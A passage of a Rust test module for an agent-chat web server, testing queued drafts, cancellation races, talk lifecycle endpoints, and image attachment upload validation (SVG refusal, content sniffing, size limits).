16029    }
16030
16031    /// The same drop, landing on `talk_say`'s other durable write.
16032    ///
16033    /// When a turn is already running, the busy branch persists the
16034    /// operator's text as a queued draft and then reclaims the turn slot if
16035    /// the holder gave it up in the meantime - and whoever reclaims owes that
16036    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16037    /// which finishes whether or not the future awaiting it is still there,
16038    /// so a handler dropped at that `.await` used to leave the draft written
16039    /// to disk with the reclaimed guard dropped unread and no drainer ever
16040    /// started: the message sat queued until some unrelated later `say`
16041    /// happened to pick it up.
16042    ///
16043    /// This used to drive the handler future by hand, polling it a fixed
16044    /// number of times to park it at the `.await` where it asks for the turn
16045    /// and finds it busy, before the reclaim's slot-free case could be set up
16046    /// underneath it. That assumed a fixed number of polls lands at a fixed
16047    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16048    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16049    /// poll, so any number of this handler's several `blocking` awaits can
16050    /// collapse into one poll under load, landing the drive somewhere other
16051    /// than intended - including, occasionally, straight past the handler's
16052    /// own completion, which made polling it again panic with "async fn
16053    /// resumed after completion". No poll count fixes that; the handler's
16054    /// progress simply is not something a caller outside it can observe by
16055    /// counting.
16056    ///
16057    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16058    /// inside the write itself, so the interleaving under test is pinned by
16059    /// an event instead of a guess: the gate fires only once the handler has
16060    /// actually decided `Busy` and is about to persist the draft, and it
16061    /// blocks that write until the test lets it through. Between those two
16062    /// moments the test drains the turn the handler found busy - through
16063    /// `drain_loop`, the protocol's other half - and then aborts the handler
16064    /// task outright, the same way axum drops a disconnected request's
16065    /// future. The write, and the reclaim it may do, run to completion
16066    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16067    /// to the runtime before ever touching the gate, wholly independent of
16068    /// whether the handler that started it is still around - which is what
16069    /// this test is actually checking. A drainer other than that reclaim
16070    /// cannot exist here: the test's own `drain_loop` call happens before the
16071    /// gate opens, so it runs while the queue is still empty and hands the
16072    /// turn straight back rather than draining anything, closing off the
16073    /// possibility of the final assertion passing without the reclaim ever
16074    /// having done its job.
16075    #[tokio::test]
16076    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16077        let tmp = TempDir::new().expect("tempdir");
16078        let repo = tmp.path().join("repo");
16079        std::fs::create_dir_all(&repo).expect("repo dir");
16080        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16081        let home = TempDir::new().expect("temp home");
16082        let talks = Talks::at(home.path().join("talks"));
16083        let ui = Arc::new(
16084            Ui::new(
16085                Queue::at(home.path().join("queue")),
16086                Questions::at(home.path().join("questions")),
16087                talks.clone(),
16088                home.path().join("runs"),
16089                home.path().to_path_buf(),
16090                repo.clone(),
16091            )
16092            .with_worktrees_root(home.path().join("wt")),
16093        );
16094        let cfg = config_for(&repo).await.expect("discover config");
16095
16096        for attempt in 0..3u32 {
16097            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16098            let id = talk.id.clone();
16099            // A turn is already running, which is what sends `talk_say` down
16100            // the busy branch.
16101            let turn_guard = ui
16102                .begin_talk_turn(&id)
16103                .expect("claim the turn")
16104                .expect("a fresh talk owes nobody a turn");
16105
16106            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16107            let (release_tx, release_rx) = std::sync::mpsc::channel();
16108            ui.set_busy_queue_gate(BusyQueueGate {
16109                reached: reached_tx,
16110                release: release_rx,
16111            });
16112
16113            let handler = tokio::spawn(talk_say(
16114                State(Arc::clone(&ui)),
16115                Path(id.clone()),
16116                Ok(Json(NewTalkTurn {
16117                    reply_to: None,
16118                    text: "what does the queue module do?".to_owned(),
16119                    attachments: Vec::new(),
16120                })),
16121            ));
16122
16123            // Wait for the busy branch to actually reach the gate, rather
16124            // than for any fixed number of polls of anything - a bounded
16125            // wait rather than a bare `.await` so a regression that never
16126            // reaches the gate fails the test instead of hanging it.
16127            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16128                .await
16129                .unwrap_or_else(|_| {
16130                    panic!(
16131                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16132                    )
16133                })
16134                .expect("the busy branch dropped the gate without using it");
16135            assert!(
16136                crate::chat_worker::try_publication_guard(&talks, &id)
16137                    .expect("publication fence")
16138                    .is_none(),
16139                "a queued worker cannot promote text before its successor reservation is published"
16140            );
16141
16142            // A listener replacement queues its writer behind this accepted
16143            // mutation. Even disconnecting the HTTP caller must not release
16144            // admission before the write-to-worker handoff has completed.
16145            let closing = Arc::clone(&ui.admissions).write_owned();
16146            tokio::pin!(closing);
16147            std::future::poll_fn(|cx| {
16148                assert!(closing.as_mut().poll(cx).is_pending());
16149                std::task::Poll::Ready(())
16150            })
16151            .await;
16152            assert!(
16153                ui.begin_admission().is_err(),
16154                "replacement blocks later admissions"
16155            );
16156
16157            // The turn that was running now finishes and gives the slot up
16158            // the way a real one does - through `drain_loop`, which finds
16159            // nothing queued yet (the write is still held at the gate) and
16160            // releases. The handler, parked inside `spawn_blocking` on the
16161            // other side of the gate, still believes the talk is busy -
16162            // exactly the interleaving the reclaim exists for.
16163            let running = talks.get(&id).expect("reload talk");
16164            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16165
16166            // Drop the handler future now, the way a reloading phone drops
16167            // it: suspended waiting on the busy branch's answer, having
16168            // itself made no more progress since it handed the write off.
16169            handler.abort();
16170            let _ = handler.await;
16171            std::future::poll_fn(|cx| {
16172                assert!(
16173                    closing.as_mut().poll(cx).is_pending(),
16174                    "HTTP cancellation must not abandon a publishing transaction"
16175                );
16176                std::task::Poll::Ready(())
16177            })
16178            .await;
16179            assert!(
16180                crate::chat_worker::try_publication_guard(&talks, &id)
16181                    .expect("publication fence after disconnect")
16182                    .is_none()
16183            );
16184
16185            // Only now let the gated write proceed. It persists the draft
16186            // and reclaims the now-free slot from inside the task the busy
16187            // branch already spawned - unaffected by the handler's abort
16188            // above, since that task was independent of the handler's own
16189            // future from the moment it was spawned.
16190            let _ = release_tx.send(());
16191            drop(
16192                tokio::time::timeout(Duration::from_secs(5), closing)
16193                    .await
16194                    .expect("short admission transaction should release for replacement"),
16195            );
16196            assert!(
16197                crate::chat_worker::try_publication_guard(&talks, &id)
16198                    .expect("publication fence after acknowledgement")
16199                    .is_some(),
16200                "the publication fence is not retained by the long response"
16201            );
16202
16203            // A settled talk: the draft drained into an operator turn and
16204            // answered.
16205            let mut fresh = talks.get(&id).expect("reload talk");
16206            for _ in 0..SETTLE_STEPS {
16207                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16208                    break;
16209                }
16210                tokio::time::sleep(Duration::from_millis(10)).await;
16211                fresh = talks.get(&id).expect("reload talk");
16212            }
16213            assert!(
16214                fresh.pending.is_empty() && fresh.turns.len() == 2,
16215                "attempt {attempt}: talk {id} left the operator's text queued \
16216                 with no drainer - the reclaimed turn was dropped along with \
16217                 the handler future (pending {:?}, {} turns)",
16218                fresh.pending,
16219                fresh.turns.len()
16220            );
16221        }
16222    }
16223
16224    #[tokio::test]
16225    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16226        let (_tmp, _repo, f) = talk_fixture().await;
16227        let id = f.post("/api/talks", None).await.json()["id"]
16228            .as_str()
16229            .expect("id")
16230            .to_owned();
16231        let store = f.talks();
16232        let mut recovered = store.get(&id).expect("opened talk");
16233        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16234            .expect("persist pending draft without a live turn");
16235
16236        let edited = f
16237            .post(
16238                &format!("/api/talks/{id}/pending/edit"),
16239                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16240            )
16241            .await;
16242        assert_eq!(edited.status, 200, "{}", edited.body);
16243        assert!(edited.json()["thinking"].as_bool().unwrap());
16244
16245        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16246        for _ in 0..SETTLE_STEPS {
16247            if detail["turns"].as_array().expect("turns").len() == 2 {
16248                break;
16249            }
16250            tokio::time::sleep(Duration::from_millis(10)).await;
16251            detail = f.get(&format!("/api/talks/{id}")).await.json();
16252        }
16253        let turns = detail["turns"].as_array().expect("turns");
16254        assert_eq!(
16255            turns.len(),
16256            2,
16257            "the recovered draft must run once: {detail}"
16258        );
16259        assert_eq!(turns[0]["body"], "corrected");
16260        assert_eq!(detail["pending"], "");
16261    }
16262
16263    #[tokio::test]
16264    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16265        let tmp = TempDir::new().expect("tempdir");
16266        let repo = tmp.path().join("repo");
16267        std::fs::create_dir_all(&repo).expect("repo dir");
16268        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16269        let f = Fixture::with_repo(repo).await;
16270        let id = f.post("/api/talks", None).await.json()["id"]
16271            .as_str()
16272            .expect("id")
16273            .to_owned();
16274        let store = f.talks();
16275        let mut recovered = store.get(&id).expect("opened talk");
16276        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16277            .expect("persist pending draft without a live turn");
16278
16279        let refused = f
16280            .post(
16281                &format!("/api/talks/{id}/say"),
16282                Some(r#"{"text":"new message"}"#),
16283            )
16284            .await;
16285        assert_eq!(refused.status, 409, "{}", refused.body);
16286        assert!(refused.body.contains("resume"), "{}", refused.body);
16287        let saved = store.get(&id).expect("draft remains after refusal");
16288        assert!(saved.turns.is_empty());
16289        assert_eq!(saved.pending, "saved before restart");
16290
16291        let say_path = format!("/api/talks/{id}/say");
16292        let (first, second) = tokio::join!(
16293            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16294            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16295        );
16296        assert_eq!(first.status, 409, "{}", first.body);
16297        assert_eq!(second.status, 409, "{}", second.body);
16298        let saved = store
16299            .get(&id)
16300            .expect("draft remains after concurrent refusals");
16301        assert!(saved.turns.is_empty());
16302        assert_eq!(saved.pending, "saved before restart");
16303
16304        let resumed = f
16305            .post(&format!("/api/talks/{id}/pending/resume"), None)
16306            .await;
16307        assert_eq!(resumed.status, 202, "{}", resumed.body);
16308        let duplicate = f
16309            .post(&format!("/api/talks/{id}/pending/resume"), None)
16310            .await;
16311        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16312
16313        for _ in 0..SETTLE_STEPS {
16314            if store.get(&id).expect("talk").turns.len() == 2 {
16315                break;
16316            }
16317            tokio::time::sleep(Duration::from_millis(10)).await;
16318        }
16319        let finished = store.get(&id).expect("finished talk");
16320        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16321        assert_eq!(finished.turns[0].body, "saved before restart");
16322        assert!(finished.pending.is_empty());
16323    }
16324
16325    #[tokio::test]
16326    async fn an_image_only_recovered_draft_resumes_without_text() {
16327        let (_tmp, _repo, f) = talk_fixture().await;
16328        let id = f.post("/api/talks", None).await.json()["id"]
16329            .as_str()
16330            .expect("id")
16331            .to_owned();
16332        let uploaded = f
16333            .post_bytes(
16334                &format!("/api/talks/{id}/attachments"),
16335                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16336                PNG_BYTES,
16337            )
16338            .await;
16339        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16340        let attachment = f
16341            .talks()
16342            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16343            .expect("attachment metadata")
16344            .expect("stored attachment");
16345        let store = f.talks();
16346        let mut recovered = store.get(&id).expect("opened talk");
16347        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16348
16349        let resumed = f
16350            .post(&format!("/api/talks/{id}/pending/resume"), None)
16351            .await;
16352        assert_eq!(resumed.status, 202, "{}", resumed.body);
16353        for _ in 0..SETTLE_STEPS {
16354            if store.get(&id).expect("talk").turns.len() == 2 {
16355                break;
16356            }
16357            tokio::time::sleep(Duration::from_millis(10)).await;
16358        }
16359        let finished = store.get(&id).expect("finished talk");
16360        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16361        assert!(finished.turns[0].body.is_empty());
16362        assert_eq!(finished.turns[0].attachments.len(), 1);
16363        assert!(finished.pending_attachments.is_empty());
16364    }
16365
16366    #[tokio::test]
16367    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16368        let (_tmp, _repo, f) = talk_fixture().await;
16369        let id = f.post("/api/talks", None).await.json()["id"]
16370            .as_str()
16371            .expect("id")
16372            .to_owned();
16373        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16374        assert_eq!(closed.status, 200, "{}", closed.body);
16375        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16376            .expect("serialize closed talk");
16377        for (path, body) in [
16378            (format!("/api/talks/{id}/pending/resume"), None),
16379            (
16380                format!("/api/talks/{id}/pending/clear"),
16381                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16382            ),
16383            (
16384                format!("/api/talks/{id}/pending/edit"),
16385                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16386            ),
16387            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16388        ] {
16389            let response = f.post(&path, body).await;
16390            assert_eq!(response.status, 409, "{}", response.body);
16391        }
16392        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16393            .expect("serialize closed talk");
16394        assert_eq!(
16395            after_clear, before_clear,
16396            "clear must not rewrite a closed talk"
16397        );
16398    }
16399
16400    /// Keeps both claims observable long enough to exercise the distinction
16401    /// between one busy talk and a globally locked Chat surface.
16402    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16403
16404    #[tokio::test]
16405    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16406        let tmp = TempDir::new().expect("tempdir");
16407        let repo = tmp.path().join("repo");
16408        std::fs::create_dir_all(&repo).expect("repo dir");
16409        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16410        let f = Fixture::with_repo(repo).await;
16411        let id_a = f.post("/api/talks", None).await.json()["id"]
16412            .as_str()
16413            .unwrap()
16414            .to_owned();
16415        let id_b = f.post("/api/talks", None).await.json()["id"]
16416            .as_str()
16417            .unwrap()
16418            .to_owned();
16419
16420        let a = f
16421            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16422            .await;
16423        assert_eq!(a.status, 202, "{}", a.body);
16424        assert_eq!(a.json()["thinking"], true);
16425        let b = f
16426            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16427            .await;
16428        assert_eq!(b.status, 202, "{}", b.body);
16429        assert_eq!(b.json()["thinking"], true);
16430
16431        let listed = f.get("/api/talks").await.json();
16432        for id in [&id_a, &id_b] {
16433            let view = listed
16434                .as_array()
16435                .unwrap()
16436                .iter()
16437                .find(|talk| talk["id"] == *id)
16438                .unwrap();
16439            assert_eq!(view["thinking"], true, "{listed}");
16440        }
16441        let repeated = f
16442            .post(
16443                &format!("/api/talks/{id_a}/say"),
16444                Some(r#"{"text":"again"}"#),
16445            )
16446            .await;
16447        assert_eq!(repeated.status, 202, "{}", repeated.body);
16448        assert_eq!(repeated.json()["pending"], "again");
16449    }
16450
16451    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16452    /// few more, since real uploads are never exactly eight bytes.
16453    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16454
16455    #[tokio::test]
16456    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16457        let f = Fixture::start().await;
16458        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16459
16460        let res = f
16461            .post_bytes(
16462                &format!("/api/talks/{id}/attachments"),
16463                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16464                PNG_BYTES,
16465            )
16466            .await;
16467        assert_eq!(res.status, 201, "{}", res.body);
16468        let body = res.json();
16469        assert_eq!(body["name"], "shot.png");
16470        assert_eq!(body["mime"], "image/png");
16471        assert_eq!(body["bytes"], PNG_BYTES.len());
16472        let att_id = body["id"].as_str().expect("id").to_owned();
16473        assert_eq!(
16474            att_id.len(),
16475            32,
16476            "the id must never be a client-suppliable path: {att_id}"
16477        );
16478
16479        let got = f
16480            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16481            .await;
16482        assert_eq!(got.status, 200, "{}", got.body);
16483        assert_eq!(got.header("content-type"), Some("image/png"));
16484        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16485        assert_eq!(got.bytes, PNG_BYTES);
16486    }
16487
16488    #[tokio::test]
16489    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16490        let f = Fixture::start().await;
16491        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16492
16493        // SVG can carry a `<script>`, so it is never on the whitelist even
16494        // though it is a real IANA image type.
16495        let svg = f
16496            .post_bytes(
16497                &format!("/api/talks/{id}/attachments"),
16498                &[("Content-Type", "image/svg+xml")],
16499                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16500            )
16501            .await;
16502        assert!(
16503            (400..500).contains(&svg.status),
16504            "svg must be refused: {} {}",
16505            svg.status,
16506            svg.body
16507        );
16508        assert!(svg.body.contains("SVG"), "{}", svg.body);
16509
16510        let text = f
16511            .post_bytes(
16512                &format!("/api/talks/{id}/attachments"),
16513                &[("Content-Type", "text/plain")],
16514                b"just some text",
16515            )
16516            .await;
16517        assert!(
16518            (400..500).contains(&text.status),
16519            "an unlisted type must be refused: {} {}",
16520            text.status,
16521            text.body
16522        );
16523
16524        // The declared type is a real png, but the size check runs before
16525        // the bytes are even looked at.
16526        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16527        let big = f
16528            .post_bytes(
16529                &format!("/api/talks/{id}/attachments"),
16530                &[("Content-Type", "image/png")],
16531                &oversized,
16532            )
16533            .await;
16534        assert_eq!(
16535            big.status,
16536            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16537            "{}",
16538            big.body
16539        );
16540    }
16541
16542    #[tokio::test]
16543    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16544        let f = Fixture::start().await;
16545        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16546
16547        // A whitelisted `Content-Type`, but bytes that are not actually a
16548        // png - the declared header alone is never trusted.
16549        let res = f
16550            .post_bytes(
16551                &format!("/api/talks/{id}/attachments"),
16552                &[("Content-Type", "image/png")],
16553                b"<html>not a picture</html>",
16554            )
16555            .await;
16556        assert!((400..500).contains(&res.status), "{}", res.body);
16557    }
16558
16559    #[tokio::test]
16560    async fn an_unknown_attachment_id_is_a_404() {
16561        let f = Fixture::start().await;
16562        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16563
16564        let res = f
16565            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16566            .await;
16567        assert_eq!(res.status, 404, "{}", res.body);
16568    }
16569
16570    #[tokio::test]
16571    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16572        let f = Fixture::start().await;
16573        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16574
16575        let uploaded = f
16576            .post_bytes(
16577                &format!("/api/talks/{id}/attachments"),
16578                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16579                PNG_BYTES,
16580            )
16581            .await;
16582        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16583        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16584
16585        let res = f
16586            .post(
16587                &format!("/api/talks/{id}/say"),
16588                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16589            )
16590            .await;
16591        assert_eq!(res.status, 202, "{}", res.body);
16592        let queued = res.json();
16593        let turns = queued["turns"].as_array().expect("turns array");
16594        assert_eq!(
16595            turns.len(),
16596            1,
16597            "an empty body with an attachment is still a turn: {queued}"
16598        );
16599        assert_eq!(turns[0]["who"], "operator");
16600        assert_eq!(turns[0]["body"], "");
16601        let atts = turns[0]["attachments"]
16602            .as_array()
16603            .expect("attachments array");
16604        assert_eq!(atts.len(), 1);
16605        assert_eq!(atts[0]["id"], att_id);
16606        assert_eq!(atts[0]["mime"], "image/png");
16607
16608        // Not only in the response: `record` flushes to disk before the
16609        // agent's own turn is even spawned.
16610        let on_disk = f.talks().get(&id).expect("get");
16611        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16612        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16613    }
16614
16615    #[tokio::test]
16616    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16617        let f = Fixture::start().await;
16618        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16619
16620        let res = f
16621            .post(
16622                &format!("/api/talks/{id}/say"),
16623                Some(&format!(
16624                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16625                    "a".repeat(32)
16626                )),
16627            )
16628            .await;
16629        assert!((400..500).contains(&res.status), "{}", res.body);
16630        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16631
16632        let on_disk = f.talks().get(&id).expect("get");
16633        assert!(
16634            on_disk.turns.is_empty(),
16635            "a rejected attachment id must not partially record the turn: {:?}",
16636            on_disk.turns
16637        );
16638    }
16639
16640    #[tokio::test]
16641    async fn talk_close_makes_the_talk_refuse_further_turns() {
16642        let f = Fixture::start().await;
16643        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16644
16645        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16646        assert_eq!(closed.status, 200, "{}", closed.body);
16647        assert_eq!(closed.json()["status"], "closed");
16648
16649        // Idempotent: closing an already-closed talk is not an error.
16650        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16651        assert_eq!(closed_again.status, 200);
16652        assert_eq!(closed_again.json()["status"], "closed");
16653
16654        let said = f
16655            .post(
16656                &format!("/api/talks/{id}/say"),
16657                Some(r#"{"text":"too late"}"#),
16658            )
16659            .await;
16660        assert_eq!(said.status, 409, "{}", said.body);
16661    }
16662
16663    #[tokio::test]
16664    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16665        let f = Fixture::start().await;
16666        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16667        let store = f.talks();
16668        let mut queued = store.get(&id).expect("talk");
16669        for automatic in [false, true] {
16670            if automatic {
16671                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16672                    .expect("queue automatic input");
16673            } else {
16674                talk::queue(&mut queued, &store, "queued send", Vec::new())
16675                    .expect("queue operator input");
16676            }
16677            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16678            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16679            assert_eq!(refused.status, 409, "{}", refused.body);
16680            assert!(refused.body.contains("pending input"), "{}", refused.body);
16681            assert_eq!(
16682                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16683                before,
16684                "a close refusal must preserve the entire record"
16685            );
16686            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16687        }
16688        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16689        assert_eq!(closed.status, 200, "{}", closed.body);
16690        assert_eq!(closed.json()["status"], "closed");
16691    }
16692
16693    #[tokio::test]
16694    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16695        let (_tmp, _repo, f) = talk_fixture().await;
16696        let id = f.post("/api/talks", None).await.json()["id"]
16697            .as_str()
16698            .expect("id")
16699            .to_owned();
16700        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16701        assert_eq!(closed.status, 200, "{}", closed.body);
16702
16703        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16704        assert_eq!(reopened.status, 200, "{}", reopened.body);
16705        assert_eq!(reopened.json()["status"], "open");
16706
16707        // Idempotent: reopening an already-open talk is not an error.
16708        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16709        assert_eq!(reopened_again.status, 200);
16710        assert_eq!(reopened_again.json()["status"], "open");
16711
16712        let said = f
16713            .post(
16714                &format!("/api/talks/{id}/say"),
16715                Some(r#"{"text":"still there?"}"#),
16716            )
16717            .await;
16718        assert_eq!(
16719            said.status, 202,
16720            "a reopened talk accepts turns again: {}",
16721            said.body
16722        );
16723    }
16724
16725    #[tokio::test]
16726    async fn talk_reopen_on_an_unknown_id_is_404() {
16727        let f = Fixture::start().await;
16728        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16729        assert_eq!(res.status, 404, "{}", res.body);
16730    }
16731
16732    #[tokio::test]
16733    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16734        let f = Fixture::start().await;
16735        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16736
16737        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16738        assert_eq!(deleted.status, 204, "{}", deleted.body);
16739
16740        let after = f.get(&format!("/api/talks/{id}")).await;
16741        assert_eq!(after.status, 404, "{}", after.body);
16742
16743        let listed = f.get("/api/talks").await.json();
16744        assert!(
16745            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16746            "a deleted talk must not linger in the list: {listed}"
16747        );
16748    }
16749
16750    #[tokio::test]
16751    async fn talk_delete_on_an_unknown_id_is_404() {
16752        let f = Fixture::start().await;
16753        let res = f.delete("/api/talks/nonexistent-id").await;
16754        assert_eq!(res.status, 404, "{}", res.body);
16755    }
16756
16757    /// A task's page lists every run it ever had, in order, and says what kind
16758    /// of attempt each was - including a resume, which re-pushes the same run
16759    /// id, and a run whose record this build cannot read.
16760    #[tokio::test]
16761    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16762        let f = Fixture::start().await;
16763        let (a, b, gone) = (
16764            "20260902-140501-aaaa",
16765            "20260902-140502-bbbb",
16766            "20260902-140503-cccc",
16767        );
16768        write_run(&f.runs(), a, RunStatus::Stalled);
16769        let mut review = RunState::new(
16770            PathBuf::from("/repo/magi"),
16771            "main".to_owned(),
16772            "0123456789abcdef".to_owned(),
16773            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16774                .to_owned(),
16775            Config::default(),
16776        );
16777        review.id = b.to_owned();
16778        review.status = RunStatus::Merged;
16779        write_state(&f.runs(), &review);
16780
16781        let mut task = Task::new(
16782            "retry".to_owned(),
16783            "Do the thing".to_owned(),
16784            PathBuf::from("/repo/magi"),
16785            Source::Human,
16786        );
16787        task.start(a.to_owned());
16788        task.stall("quota");
16789        task.start(a.to_owned());
16790        task.start(b.to_owned());
16791        task.start(gone.to_owned());
16792        // This fixture models an older queue file with repeated run entries.
16793        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16794        f.queue().put(&mut task).expect("file the task");
16795
16796        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16797        assert_eq!(res.status, 200, "{}", res.body);
16798        let v = res.json();
16799        let h = v["history"].as_array().expect("history");
16800        assert_eq!(h.len(), 4, "{v}");
16801        assert_eq!(h[0]["kind"], "competition");
16802        assert_eq!(h[0]["status"], "stalled");
16803        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16804        assert_eq!(h[1]["kind"], "resume", "{v}");
16805        assert!(
16806            h[0]["outcome"]
16807                .as_str()
16808                .unwrap()
16809                .contains("unknown. Pass #2"),
16810            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16811        );
16812        assert!(
16813            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16814            "{v}"
16815        );
16816        assert!(
16817            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16818            "an unrecorded cause must not be narrated as an operator park: {v}"
16819        );
16820        assert_eq!(h[2]["kind"], "review");
16821        assert!(
16822            h[2]["description"]
16823                .as_str()
16824                .unwrap()
16825                .contains("magi/aaaa/A")
16826        );
16827        assert_eq!(h[2]["status"], "merged");
16828        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16829        assert_eq!(v["runs_unreadable"], 1);
16830        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16831        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16832        assert_eq!(nodes[4]["note"], "unreadable");
16833        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16834        assert_eq!(v["instruction"], "Do the thing");
16835        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16836
16837        // The run's own page links back to the task.
16838        let run = f.get(&format!("/api/runs/{a}")).await.json();
16839        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16840
16841        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16842    }
16843
16844    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16845        let mut s = RunState::new(
16846            PathBuf::from("/repo/magi"),
16847            "main".to_owned(),
16848            "0123456789abcdef".to_owned(),
16849            "Do it".to_owned(),
16850            Config::default(),
16851        );
16852        s.status = status;
16853        edit(&mut s);
16854        s
16855    }
16856
16857    fn flow_task(runs: &[&str]) -> Task {
16858        let mut t = Task::new(
16859            "t".to_owned(),
16860            "Do it".to_owned(),
16861            PathBuf::from("/repo/magi"),
16862            Source::Human,
16863        );
16864        for r in runs {
16865            t.start((*r).to_owned());
16866        }
16867        // Synthetic flows without RunPass records model legacy queue data.
16868        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16869        t
16870    }
16871
16872    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16873        let h = task_history(task, |id| {
16874            states
16875                .iter()
16876                .find(|(i, _)| *i == id)
16877                .and_then(|(_, s)| s.clone())
16878        });
16879        task_flow(task, &h, 5, None)
16880    }
16881
16882    #[test]
